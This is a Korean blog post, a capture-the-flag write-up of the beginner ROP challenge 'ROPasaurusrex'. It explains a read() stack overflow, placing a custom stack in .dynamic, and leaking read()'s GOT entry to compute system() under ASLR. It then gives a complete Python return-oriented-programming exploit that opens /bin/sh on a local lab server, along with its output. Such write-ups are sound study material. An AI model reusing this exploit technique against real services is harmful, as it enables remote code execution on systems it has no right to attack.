본문 바로가기

시스템

ROPasaurusrex

ROP 입문을 위해 ROP문제 중에서 가장 쉽다고 알려진 ROP사우루스 문제를 풀어보았다.

 

 

문제 자체는 매우 단순하다.

read() 함수로 입력을 받고, (stdin) write() 함수로 "WIN" 을 출력해준다. (stdout)

 

read() 에서 오버플로우가 발생한다.

 

custom stack 은 .bss 영역이 8바이트밖에 없는 관계로 동적링크를 관리하는 .dynamic 에

커스텀 스택을 구성하였다.

 

system 과 read 차이의 오프셋을 구해서 aslr 이 걸려있다고 생각하고 풀었다.

 

 

서버환경은 aslr

파일환경은 nx

이다.

 

 

payload.py

 

 

from socket import *
from struct import *

# file name is pro!
p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]
cmd = "/bin/sh"


host="localhost"
port=4444


# find from objdump -x
# used .dynamic ( custom stack )
dynamic = p(0x08049530)

# find from objdump -D ./pro | grep read
read_plt = p(0x0804832c)
read_got = p(0x0804961c)

# find from objdump -D ./pro | grep write
write_plt = p(0x0804830c)
write_got = p(0x08049614)

# For stack cleaning!
pppr = p(0x080484b6)

# For get system() addr
offset=0x9c9f0


# Let's Make Payload!!!
payload="A"*140
payload+=read_plt
payload+=pppr
payload+=p(0)
payload+=dynamic
payload+=p(len(cmd))

 

payload+=write_plt
payload+=pppr
payload+=p(1)
payload+=read_got
payload+=p(4)

 

payload+=read_plt
payload+=pppr
payload+=p(0)
payload+=read_got
payload+=p(4)

 

payload+=read_plt
payload+=p(0xdeadbeef)
payload+=dynamic


s=socket(AF_INET,SOCK_STREAM,0)
s.connect((host,port))
s.send(payload+"\n")
s.send(cmd)


read = up(s.recv(4))

print "this is read : " + hex(read)
system = read-offset
print "this is system : " + hex(system)

s.send(p(system))

s.send("cat /home/user/pwnable/success.txt\n")

print s.recv(1024)
s.close()

 

 

 

결과는

user@user-virtual-machine:~/pwnable$ python payload.py
this is read : 0xb7ef21f0L
this is system : 0xb7e55800L
you_cant_stop_the_ropasaurusrex

user@user-virtual-machine:~/pwnable$

 

 

 

 

 

참고 문헌

 

 

 

 

 

 

 

 --- 재풀이 ---

문제용 서버를 구축하고

해당 서버의 libc.so.6 을 가져와서 offset 계산함.


payload.py








user@ubuntu:~/pwnable/ropasaurusrex$ python payload.py 

system@libc : 0xb7e55800L

exploit!

you_cant_stop_the_ropasaurusrex



















 

 

 

'시스템' 카테고리의 다른 글

Modern browser analysis and exploit development  (0) 2016.12.27
codegate junior nuclear  (0) 2015.04.11
파일 디스크립터  (0) 2015.04.10
Linux 환경에서의 메모리 보호 기법  (0) 2015.04.06